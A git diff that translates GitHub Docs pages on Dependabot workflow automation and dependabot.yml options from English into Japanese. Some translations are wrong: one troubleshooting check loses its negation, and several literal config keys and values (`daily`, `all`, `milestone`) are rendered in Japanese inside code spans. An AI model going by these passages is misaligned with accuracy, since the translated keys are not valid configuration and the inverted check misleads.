@@ -198,7 +198,7 @@ jobs:
 
 {% endraw %}
 
-The second workflow performs trusted work after the first workflow completes successfully:
+2番目のワークフローは、最初のワークフローが正常に終了した後に、信頼された処理を行います。
 
 {% raw %}
 
@@ -226,13 +226,13 @@ jobs:
 
 {% endif %}
 
-### Manually re-running a workflow
+### 手動でのワークフローの再実行
 
-You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior.
+失敗したDependabotワークフローを手動で再実行することもできます。これは、読み書きできるトークンを持ち、シークレットにアクセスできる状態で実行されます。 失敗したワークフローを手動で再実行する前には、更新される依存関係を常にチェックし、その変更によって悪意ある、あるいは意図しない動作が入り込むことがないようにすべきです。
 
-## Common Dependabot automations
+## 一般的なDependabotの自動化
 
-Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}.
+以下は、{% data variables.product.prodname_actions %}を使って自動化できる一般的ないくつかのシナリオです。
 
 {% ifversion ghes = 3.3 %}
 
@@ -244,11 +244,11 @@ Here are several common scenarios that can be automated using {% data variables.
 
 {% endif %}
 
-### Fetch metadata about a pull request
+### Pull Reqeustに関するメタデータのフェッチ
 
-A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update.
+大量の自動化には、依存関係の名前が何か、それは実働環境の依存関係か、メジャー、マイナー、パッチアップデートのいずれなのかといった、Pull Requestの内容に関する情報を知ることが必要です。
 
-The `dependabot/fetch-metadata` action provides all that information for you:
+`dependabot/fetch-metadata`アクションは、これらの情報をすべて提供します。
 
 {% ifversion ghes = 3.3 %}
 
@@ -314,13 +314,13 @@ jobs:
 
 {% endif %}
 
-For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository.
+詳しい情報については[`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata)リポジトリを参照してください。
 
-### Label a pull request
+### Pull Requestのラベル付け
 
-If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided.
+{% data variables.product.prodname_dotcom %}ラベルに基づく他の自動化やトリアージワークフローがあるなら、提供されたメタデータに基づいてラベルを割り当てるアクションを設定できます。
 
-For example, if you want to flag all production dependency updates with a label:
+たとえば、すべての実働環境の依存関係の更新にラベルでフラグを設定したいなら:
 
 {% ifversion ghes = 3.3 %}
 
@@ -388,9 +388,9 @@ jobs:
 
 {% endif %}
 
-### Approve a pull request
+### Pull Requestの承認
 
-If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow:
+自動的にDependabotのPull Requestを承認したいなら、ワークフロー中で{% data variables.product.prodname_cli %}を利用できます。
 
 {% ifversion ghes = 3.3 %}
 
@@ -454,11 +454,11 @@ jobs:
 
 {% endif %}
 
-### Enable auto-merge on a pull request
+### Pull Requestの自動マージを有効化する
 
-If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+Pull Requestを自動マージしたいなら、{% data variables.product.prodname_dotcom %}の自動マージ機能を利用できます。 これは、すべての必須テストと承認が正常に満たされた場合に、Pull Requestがマージされるようにしてくれます。 For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
 
-Here is an example of enabling auto-merge for all patch updates to `my-dependency`:
+以下は、`my-dependency`に対するすべてのパッチアップデートの自動マージを有効化する例です。
 
 {% ifversion ghes = 3.3 %}
 
@@ -526,24 +526,24 @@ jobs:
 
 {% endif %}
 
-## Troubleshooting failed workflow runs
+## 失敗したワークフローの実行のトラブルシューティング
 
-If your workflow run fails, check the following:
+ワークフローの実行が失敗した場合は、以下をチェックしてください。
 
 {% ifversion ghes = 3.3 %}
 
-- You are running the workflow only when the correct actor triggers it.
-- You are checking out the correct `ref` for your `pull_request`.
-- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
-- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
+- 適切なアクターがトリガーした場合にのみワークフローを実行しているか。
+- `pull_request`に対する正しい`ref`をチェックアウトしているか。
+- Dependabotがトリガーした`pull_request`、`pull_request_review`、`pull_request_review_comment`、`push`イベントからシークレットにアクセスしようとしているか。
+- Dependabotがトリガーした`pull_request`、`pull_request_review`、`pull_request_review_comment`、`push`イベントからなんらかの`write`アクションを実行しようとしていないか。
 
 {% else %}
 
-- You are running the workflow only when the correct actor triggers it.
-- You are checking out the correct `ref` for your `pull_request`.
+- 適切なアクターがトリガーした場合にのみワークフローを実行しているか。
+- `pull_request`に対する正しい`ref`をチェックアウトしているか。
 - Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets.
 - You have a `GITHUB_TOKEN` with the correct permissions.
 
 {% endif %}
 
-For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)."
+{% data variables.product.prodname_actions %}の作成とでバッグに関する情報については、「[GitHub Actionsを学ぶ](/actions/learn-github-actions)」を参照してください。
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md
index 6914c997cb..cf937b43e3 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md
@@ -1,6 +1,6 @@
 ---
-title: Configuration options for dependency updates
-intro: 'Detailed information for all the options you can use to customize how {% data variables.product.prodname_dependabot %} maintains your repositories.'
+title: 依存関係の更新の設定オプション
+intro: '{% data variables.product.prodname_dependabot %} がリポジトリを維持する方法をカスタマイズする場合に使用可能なすべてのオプションの詳細情報。'
 permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_dependabot %} for the repository.'
 redirect_from:
   - /github/administering-a-repository/configuration-options-for-dependency-updates
@@ -17,93 +17,93 @@ topics:
   - Repositories
   - Dependencies
   - Pull requests
-shortTitle: Configuration options
+shortTitle: 設定オプション
 ---
 
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About the *dependabot.yml* file
+## *dependabot.yml* ファイルについて
 
-The {% data variables.product.prodname_dependabot %} configuration file, *dependabot.yml*, uses YAML syntax. If you're new to YAML and want to learn more, see "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+{% data variables.product.prodname_dependabot %} の設定ファイルである *dependabot.yml* では YAML 構文を使用します。 YAMLについて詳しくなく、学んでいきたい場合は、「[Learn YAML in five minutes (5分で学ぶYAML)](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)」をお読みください。
 
-You must store this file in the `.github` directory of your repository. When you add or update the *dependabot.yml* file, this triggers an immediate check for version updates. Any options that also affect security updates are used the next time a security alert triggers a pull request for a security update. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)."
+このファイルは、リポジトリの `.github` ディレクトリに保存する必要があります。 *dependabot.yml* ファイルを追加または更新すると、即座にバージョン更新を確認します。 セキュリティアップデートに影響するオプションは、次にセキュリティアラートがセキュリティアップデートのためのプルリクエストをトリガーするときにも使用されます。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)."
 
-The *dependabot.yml* file has two mandatory top-level keys: `version`, and `updates`. You can, optionally, include a top-level `registries` key. The file must start with `version: 2`.
+*dependabot.yml* ファイルには、必須の最上位キーに `version` と `updates` の 2 つがあります。 必要に応じて、最上位に `registries` キーを含めることができます。 ファイルは、`version: 2` で始まる必要があります。
 
-## Configuration options for updates
+## 更新の設定オプション
 
-The top-level `updates` key is mandatory. You use it to configure how {% data variables.product.prodname_dependabot %} updates the versions or your project's dependencies. Each entry configures the update settings for a particular package manager. You can use the following options.
+最上位の `updates` キーは必須です。 これを使用することで、{% data variables.product.prodname_dependabot %} がバージョンやプロジェクトの依存性を更新する方法を設定できます。 各エントリは、特定のパッケージマネージャーの更新設定を行います。 次のオプションを使用できます。
 
-| Option | Required | Description |
-|:---|:---:|:---|
-| [`package-ecosystem`](#package-ecosystem)                     | **X** | Package manager to use                |
-| [`directory`](#directory)                                     | **X** | Location of package manifests         |
-| [`schedule.interval`](#scheduleinterval)                      | **X** | How often to check for updates        |
-| [`allow`](#allow)                                             | | Customize which updates are allowed         |
-| [`assignees`](#assignees)                                     | | Assignees to set on pull requests           |
-| [`commit-message`](#commit-message)                           | | Commit message preferences                  |
-| [`ignore`](#ignore)                                           | | Ignore certain dependencies or versions     |
-| [`insecure-external-code-execution`](#insecure-external-code-execution) | | Allow or deny code execution in manifest files |
-| [`labels`](#labels)                                           | | Labels to set on pull requests              |
-| [`milestone`](#milestone)                                     | | Milestone to set on pull requests           |
-| [`open-pull-requests-limit`](#open-pull-requests-limit)       | | Limit number of open pull requests for version updates|
-| [`pull-request-branch-name.separator`](#pull-request-branch-nameseparator) | | Change separator for pull request branch names |
-| [`rebase-strategy`](#rebase-strategy)                         | | Disable automatic rebasing                  |
-| [`registries`](#registries)                                   | | Private registries that {% data variables.product.prodname_dependabot %} can access|
-| [`reviewers`](#reviewers)                                     | | Reviewers to set on pull requests           |
-| [`schedule.day`](#scheduleday)                                | | Day of week to check for updates            |
-| [`schedule.time`](#scheduletime)                              | | Time of day to check for updates (hh:mm)    |
-| [`schedule.timezone`](#scheduletimezone)                      | | Timezone for time of day (zone identifier)  |
-| [`target-branch`](#target-branch)                             | | Branch to create pull requests against      |
-| [`vendor`](#vendor)                                           | | Update vendored or cached dependencies      |
-| [`versioning-strategy`](#versioning-strategy)                 | | How to update manifest version requirements |
+| オプション                                                                      |  必須   | 説明                                                                   |
+|:-------------------------------------------------------------------------- |:-----:|:-------------------------------------------------------------------- |
+| [`package-ecosystem`](#package-ecosystem)                                  | **X** | 使用するパッケージマネージャー                                                      |
+| [`directory`](#directory)                                                  | **X** | パッケージマニフェストの場所                                                       |
+| [`schedule.interval`](#scheduleinterval)                                   | **X** | 更新を確認する頻度                                                            |
+| [`allow`](#allow)                                                          |       | 許可する更新をカスタマイズする                                                      |
+| [`assignees`](#assignees)                                                  |       | プルリクエストのアサイン担当者                                                      |
+| [`commit-message`](#commit-message)                                        |       | コミットメッセージの環境設定                                                       |
+| [`ignore`](#ignore)                                                        |       | 特定の依存関係またはバージョンを無視する                                                 |
+| [`insecure-external-code-execution`](#insecure-external-code-execution)    |       | マニフェストファイル内でコードの実行を許可または拒否する                                         |
+| [`labels`](#labels)                                                        |       | プルリクエストに設定するラベル                                                      |
+| [`マイルストーン`](#milestone)                                                    |       | プルリクエストに設定するマイルストーン                                                  |
+| [`open-pull-requests-limit`](#open-pull-requests-limit)                    |       | バージョン更新時のオープンなプルリクエスト数を制限する                                          |
+| [`pull-request-branch-name.separator`](#pull-request-branch-nameseparator) |       | プルリクエストブランチ名の区切り文字を変更する                                              |
+| [`rebase-strategy`](#rebase-strategy)                                      |       | 自動リベースを無効にする                                                         |
+| [`registries`](#registries)                                                |       | {% data variables.product.prodname_dependabot %} がアクセスできるプライベートリポジトリ |
+| [`reviewers`](#reviewers)                                                  |       | プルリクエストのレビュー担当者                                                      |
+| [`schedule.day`](#scheduleday)                                             |       | 更新を確認する曜日                                                            |
+| [`schedule.time`](#scheduletime)                                           |       | 更新を確認する時刻 (hh:mm)                                                    |
+| [`schedule.timezone`](#scheduletimezone)                                   |       | 時刻のタイムゾーン（ゾーン識別子）                                                    |
+| [`target-branch`](#target-branch)                                          |       | プルリクエストを作成するブランチ                                                     |
+| [`vendor`](#vendor)                                                        |       | ベンダーまたはキャッシュされた依存関係を更新する                                             |
+| [`versioning-strategy`](#versioning-strategy)                              |       | マニフェストのバージョン要件の更新方法                                                  |
 
-These options fit broadly into the following categories.
+これらのオプションは、次のようなカテゴリに幅広く適合しています。
 
-- Essential set up options that you must include in all configurations: [`package-ecosystem`](#package-ecosystem), [`directory`](#directory),[`schedule.interval`](#scheduleinterval).
-- Options to customize the update schedule: [`schedule.time`](#scheduletime), [`schedule.timezone`](#scheduletimezone), [`schedule.day`](#scheduleday).
-- Options to control which dependencies are updated: [`allow`](#allow), [`ignore`](#ignore), [`vendor`](#vendor).
-- Options to add metadata to pull requests: [`reviewers`](#reviewers), [`assignees`](#assignees), [`labels`](#labels), [`milestone`](#milestone).
-- Options to change the behavior of the pull requests: [`target-branch`](#target-branch), [`versioning-strategy`](#versioning-strategy), [`commit-message`](#commit-message), [`rebase-strategy`](#rebase-strategy), [`pull-request-branch-name.separator`](#pull-request-branch-nameseparator).
+- すべての設定に含める必要がある必須のセットアップオプション: [`package-ecosystem`](#package-ecosystem)、 [`directory`](#directory)、[`schedule.interval`](#scheduleinterval)
+- 更新スケジュールをカスタマイズするためのオプション: [`schedule.time`](#scheduletime)、[`schedule.timezone`](#scheduletimezone)、 [`schedule.day`](#scheduleday)
+- 更新する依存関係を制御するオプション: [`allow`](#allow)、[`ignore`](#ignore)、[`vendor`](#vendor)
+- プルリクエストにメタデータを追加するオプション: [`reviewers`](#reviewers)、[`assignees`](#assignees)、[`labels`](#labels)、 [`milestone`](#milestone)
+- プルリクエストの動作を変更するオプション: [`target-branch`](#target-branch)、[`versioning-strategy`](#versioning-strategy)、[`commit-message`](#commit-message)、[`rebase-strategy`](#rebase-strategy)、[`pull-request-branch-name.separator`](#pull-request-branch-nameseparator)
 
-In addition, the [`open-pull-requests-limit`](#open-pull-requests-limit) option changes the maximum number of pull requests for version updates that {% data variables.product.prodname_dependabot %} can open.
+さらに、[`open-pull-requests-limit`](#open-pull-requests-limit) オプションでは、{% data variables.product.prodname_dependabot %} が開くことができるバージョン更新のプルリクエストの最大数を変更できます。
 
 {% note %}
 
-**Note:** Some of these configuration options may also affect pull requests raised for security updates of vulnerable package manifests.
+**注釈:** これらの設定オプションの一部は、脆弱性のあるパッケージマニフェストのセキュリティアップデートのために発行されたプルリクエストにも影響を与える可能性があります。
 
-Security updates are raised for vulnerable package manifests only on the default branch. When configuration options are set for the same branch (true unless you use `target-branch`), and specify a `package-ecosystem` and `directory` for the vulnerable manifest, then pull requests for security updates use relevant options.
+脆弱性のあるパッケージマニフェストのセキュリティアップデートは、デフォルトブランチでのみ発生します。 設定オプションが同じブランチに設定され（`target-branch` を使用しない場合は true）、脆弱性のあるマニフェストの `package-ecosystem` と `directory` を指定している場合、セキュリティアップデートのプルリクエストで関連オプションが使用されます。
 
-In general, security updates use any configuration options that affect pull requests, for example, adding metadata or changing their behavior. For more information about security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)."
+一般に、セキュリティアップデートでは、メタデータの追加や動作の変更など、プルリクエストに影響する設定オプションが使用されます。 For more information about security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)."
 
 {% endnote %}
 
 ### `package-ecosystem`
 
-**Required**. You add one `package-ecosystem` element for each package manager that you want {% data variables.product.prodname_dependabot %} to monitor for new versions. The repository must also contain a dependency manifest or lock file for each of these package managers. If you want to enable vendoring for a package manager that supports it, the vendored dependencies must be located in the required directory. For more information, see [`vendor`](#vendor) below.
+**必須**。 {% data variables.product.prodname_dependabot %} で新しいバージョンを監視するパッケージマネージャーごとに、`package-ecosystem` 要素を1つ追加してください。 リポジトリには、これらの各パッケージマネージャーの依存関係マニフェストまたはロックファイルも含まれている必要があります。 サポートするパッケージマネージャーに対してベンダリングを有効にする場合、ベンダリングされた依存関係が必須ディレクトリに存在する必要があります。 詳しい情報については、以下の [`vendor`](#vendor) を参照してください。
 
 {% data reusables.dependabot.supported-package-managers %}
 
 ```yaml
-# Basic set up for three package managers
+# 3つのパッケージマネージャー用の基本設定
 
 version: 2
 updates:
 
-  # Maintain dependencies for GitHub Actions
+  # GitHub アクションの依存関係を維持する
   - package-ecosystem: "github-actions"
     directory: "/"
     schedule:
       interval: "daily"
 
-  # Maintain dependencies for npm
+  # npm の依存関係を維持する
   - package-ecosystem: "npm"
     directory: "/"
     schedule:
       interval: "daily"
 
-  # Maintain dependencies for Composer
+  # Composer の依存関係を維持する
   - package-ecosystem: "composer"
     directory: "/"
     schedule:
@@ -112,28 +112,28 @@ updates:
 
 ### `directory`
 
-**Required**. You must define the location of the package manifests for each package manager (for example, the *package.json* or *Gemfile*). You define the directory relative to the root of the repository for all ecosystems except GitHub Actions. For GitHub Actions, set the directory to `/` to check for workflow files in `.github/workflows`.
+**必須**。 各パッケージマネージャー (*package.json* や *Gemfile* など) のパッケージマニフェストの場所を定義する必要があります。 GitHub Actions 以外のすべてのエコシステムで、リポジトリのルートに対する相対ディレクトリを定義します。 GitHub Actions の場合、ディレクトリを `/` に設定し、`.github/workflows` でワークフローファイルを確認します。
 
 ```yaml
-# Specify location of manifest files for each package manager
+# 各パッケージマネージャーのマニフェストファイルの場所を指定する
 
 version: 2
 updates:
   - package-ecosystem: "composer"
-    # Files stored in repository root
+    # リポジトリのルートに保存されているファイル
     directory: "/"
     schedule:
       interval: "daily"
 
   - package-ecosystem: "npm"
-    # Files stored in `app` directory
+    # 「app」ディレクトリに保存されているファイル
     directory: "/app"
     schedule:
       interval: "daily"
 
   - package-ecosystem: "github-actions"
-    # Workflow files stored in the
-    # default location of `.github/workflows`
+    # 「.github / workflows」のデフォルトの場所に
+    # 保存されたワークフローファイル
     directory: "/"
     schedule:
       interval: "daily"
@@ -141,14 +141,14 @@ updates:
 
 ### `schedule.interval`
 
-**Required**. You must define how often to check for new versions for each package manager. By default, {% data variables.product.prodname_dependabot %} randomly assigns a time to apply all the updates in the configuration file. To set a specific time, you can use [`schedule.time`](#scheduletime) and [`schedule.timezone`](#scheduletimezone).
+**必須**。 各パッケージマネージャーに対して、新しいバージョンを確認する頻度を定義する必要があります。 デフォルトでは、{% data variables.product.prodname_dependabot %}は設定ファイル中のすべての更新を適用する時間をランダムに割り当てます。 特定の時間を設定するには、[`schedule.time`](#scheduletime)及び[`schedule.timezone`](#scheduletimezone)が利用できます。
 
-- `daily`—runs on every weekday, Monday to Friday.
-- `weekly`—runs once each week. By default, this is on Monday. To modify this, use [`schedule.day`](#scheduleday).
-- `monthly`—runs once each month. This is on the first day of the month.
+- `毎日`: 月曜日～金曜日の平日に実行されます。
+- `毎週`: 毎週 1 回実行されます。 デフォルトでは月曜日に設定されています。 これを変更するには、[`schedule.day`](#scheduleday) を使用します。
+- `毎月`: 毎月 1 回実行されます。 その月の最初の日に設定されています。
 
 ```yaml
-# Set update schedule for each package manager
+# 各パッケージマネージャーの更新スケジュールを設定する
 
 version: 2
 updates:
@@ -156,19 +156,19 @@ updates:
   - package-ecosystem: "github-actions"
     directory: "/"
     schedule:
-      # Check for updates to GitHub Actions every weekday
+      # GitHub Actions の更新を毎週確認する
       interval: "daily"
 
   - package-ecosystem: "composer"
     directory: "/"
     schedule:
-      # Check for updates managed by Composer once a week
+      # 週に 1 回、Composer が管理する更新を確認する
       interval: "weekly"
 ```
 
 {% note %}
 
-**Note**: `schedule` defines when {% data variables.product.prodname_dependabot %} attempts a new update. However, it's not the only time you may receive pull requests. Updates can be triggered based on changes to your `dependabot.yml` file, changes to your manifest file(s) after a failed update, or {% data variables.product.prodname_dependabot_security_updates %}. For more information, see "[Frequency of {% data variables.product.prodname_dependabot %} pull requests](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates#frequency-of-dependabot-pull-requests)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+**注釈**: `schedule` は、{% data variables.product.prodname_dependabot %} が新規更新を試行するタイミングを設定します。 ただし、プルリクエストを受け取るタイミングはこれだけではありません。 更新は、 `dependabot.yml` ファイルへの変更、更新失敗後のマニフェストファイルへの変更、または {% data variables.product.prodname_dependabot_security_updates %} に基づいてトリガーされることがあります。 For more information, see "[Frequency of {% data variables.product.prodname_dependabot %} pull requests](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates#frequency-of-dependabot-pull-requests)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
 
 {% endnote %}
 
@@ -176,18 +176,18 @@ updates:
 
 {% data reusables.dependabot.default-dependencies-allow-ignore %}
 
-Use the `allow` option to customize which dependencies are updated. This applies to both version and security updates. You can use the following options:
+更新する依存関係をカスタマイズするには、`allow` オプションを使用します。 これは、バージョン及びセキュリティのどちらのアップデートにも適用されます。 次のオプションを使用できます。
 
-- `dependency-name`—use to allow updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId`, for example: `org.kohsuke:github-api`.
-- `dependency-type`—use to allow updates for dependencies of specific types.
+- `dependency-name`: 名前が一致する依存関係の更新を許可するために使用し、必要に応じて `*` を使用して 0 文字以上の文字と一致させます。 Java の依存関係の場合、`dependency-name` 属性のフォーマットは `groupId:artifactId` です（`org.kohsuke:github-api` など）。
+- `dependency-type`: 特定の種類の依存関係の更新を許可するために使用します。
 
-  | Dependency types | Supported by package managers | Allow updates |
-  |------------------|-------------------------------|--------|
-  | `direct` | All | All explicitly defined dependencies. |
-  | `indirect` | `bundler`, `pip`, `composer`, `cargo` | Dependencies of direct dependencies (also known as sub-dependencies, or transient dependencies).|
-  | `all` | All | All explicitly defined dependencies. For `bundler`, `pip`, `composer`, `cargo`, also the dependencies of direct dependencies.|
-  | `production` | `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Production dependency group". |
-  | `development`| `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Development dependency group". |
+  | 依存関係の種類       | パッケージマネージャーによるサポート                              | 更新の許可                                                                         |
+  | ------------- | ----------------------------------------------- | ----------------------------------------------------------------------------- |
+  | `direct`      | すべて                                             | 明示的に定義されたすべての依存関係。                                                            |
+  | `indirect`    | `bundler`、`pip`、`composer`、`cargo`              | 直接依存関係の依存関係 (サブ依存関係、または過渡依存関係とも呼ばれる)。                                         |
+  | `すべて`         | すべて                                             | 明示的に定義されたすべての依存関係。 `bundler`、`pip`、`composer`、`cargo` についても、直接依存関係の依存関係になります。 |
+  | `production`  | `bundler`、`composer`、`mix`, `maven`、`npm`、`pip` | Only dependencies in the "Production dependency group".                       |
+  | `development` | `bundler`、`composer`、`mix`, `maven`、`npm`、`pip` | [Development dependency group] 内の依存関係のみ。                                      |
 
 ```yaml
 # Use `allow` to specify which dependencies to maintain
@@ -228,12 +228,12 @@ updates:
 
 ### `assignees`
 
-Use `assignees` to specify individual assignees for all pull requests raised for a package manager.
+`assignees` を使用して、パッケージマネージャーに対して発行されたすべてのプルリクエストの個々の担当者を指定します。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
 ```yaml
-# Specify assignees for pull requests
+# プルリクエストの担当者を指定する
 
 version: 2
 updates:
@@ -241,20 +241,20 @@ updates:
     directory: "/"
     schedule:
       interval: "daily"
-    # Add assignees
+    # 担当者を追加する
     assignees:
       - "octocat"
 ```
 
 ### `commit-message`
 
-By default, {% data variables.product.prodname_dependabot %} attempts to detect your commit message preferences and use similar patterns. Use the `commit-message` option to specify your preferences explicitly.
+デフォルトでは、{% data variables.product.prodname_dependabot %} はコミットメッセージの設定を検出し、同様のパターンを使用しようとします。 `commit-message` オプションを使用して、環境設定を明示的に指定します。
 
-Supported options
+対応しているオプション
 
-- `prefix` specifies a prefix for all commit messages.
-- `prefix-development` specifies a separate prefix for all commit messages that update dependencies in the Development dependency group. When you specify a value for this option, the `prefix` is used only for updates to dependencies in the Production dependency group. This is supported by: `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`.
-- `include: "scope"` specifies that any prefix is followed by a list of the dependencies updated in the commit.
+- `prefix` では、すべてのコミットメッセージのプレフィックスを指定します。
+- `prefix-development` は、Development の依存関係グループ内の依存関係を更新するすべてのコミットメッセージに個別のプレフィックスを指定します。 このオプションの値を指定すると、`prefix` は、Production の依存関係グループの依存関係の更新にのみ使用されます。 これは、`bundler`、`composer`、`mix`、`maven`、`npm`、`pip` に対応しています。
+- `include: "scope"` では、任意のプレフィックスの後に、コミットで更新された依存関係のリストが続くことを指定します。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
@@ -297,30 +297,30 @@ updates:
 
 {% data reusables.dependabot.default-dependencies-allow-ignore %}
 
-Dependencies can be ignored either by adding them to `ignore` or by using the `@dependabot ignore` command on a pull request opened by {% data variables.product.prodname_dependabot %}.
+依存関係は、`ignore`に追加するか、{% data variables.product.prodname_dependabot %}がオープンしたPull Request上で`@dependabot ignore`コマンドを使うことによって無視できます。
 
-#### Creating `ignore` conditions from `@dependabot ignore`
+#### `@dependabot ignore`からの`ignore`条件の作成
 
-Dependencies ignored by using the `@dependabot ignore` command are stored centrally for each package manager. If you start ignoring dependencies in the `dependabot.yml` file, these existing preferences are considered alongside the `ignore` dependencies in the configuration.
+`@dependabot ignore`コマンドを使って無視された依存関係は、各パッケージマネージャーごとに集中的に保存されます。 `dependabot.yml`ファイル中で依存関係を無視し始めると、これらの既存の設定は、設定中の`ignore`の依存関係とともに考慮されます。
 
-You can check whether a repository has stored `ignore` preferences by searching the repository for `"@dependabot ignore" in:comments`. If you wish to un-ignore a dependency ignored this way, re-open the pull request.
+リポジトリが`ignore`の設定を保存したかは、リポジトリで`"@dependabot ignore" in:comments`を検索すれば調べられます。 この方法で無視された依存関係の無視を解除したいなら、Pull Requestを再度オープンしてください。
 
 For more information about the `@dependabot ignore` commands, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)."
 
-#### Specifying dependencies and versions to ignore
+#### 無視する依存関係とバージョンを指定する
 
-You can use the `ignore` option to customize which dependencies are updated. The `ignore` option supports the following options.
+`ignore` オプションを使用して、更新する依存関係をカスタマイズできます。 `ignore` オプションは、次のオプションに対応しています。
 
-- `dependency-name`—use to ignore updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId` (for example: `org.kohsuke:github-api`).
-- `versions`—use to ignore specific versions or ranges of versions. If you want to define a range, use the standard pattern for the package manager (for example: `^1.0.0` for npm, or `~> 2.0` for Bundler).
-- `update-types`—use to ignore types of updates, such as semver `major`, `minor`, or `patch` updates on version updates (for example: `version-update:semver-patch` will ignore patch updates). You can combine this with `dependency-name: "*"` to ignore particular `update-types` for all dependencies. Currently, `version-update:semver-major`, `version-update:semver-minor`, and `version-update:semver-patch` are the only supported options. Security updates are unaffected by this setting.
+- `dependency-name`: 名前が一致する依存関係の更新を無視するために使用し、必要に応じて `*` を使用して 0 文字以上の文字と一致させます。 Javaの依存関係については、`dependency-name`属性のフォーマットは`groupId:artifactId`です（たとえば`org.kohsuke:github-api`）。
+- `versions`: 特定のバージョンまたはバージョンの範囲を無視するために使用します。 範囲を定義する場合は、パッケージマネージャーの標準パターンを使用します（例: npm の場合は `^1.0.0`、Bundler の場合は `~> 2.0`）。
+- `update-types` - バージョン更新におけるsemverの`major`、`minor`、`patch`更新といった更新の種類を無視するために使います。（たとえば`version-update:semver-patch`でパッチアップデートが無視されます）。 これを`code>dependency-name: "*"`と組み合わせて、特定の`update-types`をすべての依存関係で無視できます。 現時点では、サポートされているオプションは`version-update:semver-major`、`version-update:semver-minor`、`version-update:semver-patch`のみです。 セキュリティの更新はこの設定には影響されません。
 
-If `versions` and `update-types` are used together, {% data variables.product.prodname_dependabot %} will ignore any update in either set.
+`versions`と`update-types`が合わせて使われると、{% data variables.product.prodname_dependabot %}はいずれのセットでもすべての更新を無視します。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
 ```yaml
-# Use `ignore` to specify dependencies that should not be updated 
+# 更新されるべきではない依存関係を、`ignore`を使って指定する
 
 version: 2
 updates:
@@ -330,27 +330,27 @@ updates:
       interval: "daily"
     ignore:
       - dependency-name: "express"
-        # For Express, ignore all updates for version 4 and 5
+        # Expressではバージョン4と5に対するすべての更新を無視
         versions: ["4.x", "5.x"]
-        # For Lodash, ignore all updates
+        # Lodashについてはすべての更新を無視
       - dependency-name: "lodash"
-        # For AWS SDK, ignore all patch updates
+        # AWS SDKについてはすべてのパッチアップデートを無視
       - dependency-name: "aws-sdk"
         update-types: ["version-update:semver-patch"]
 ```
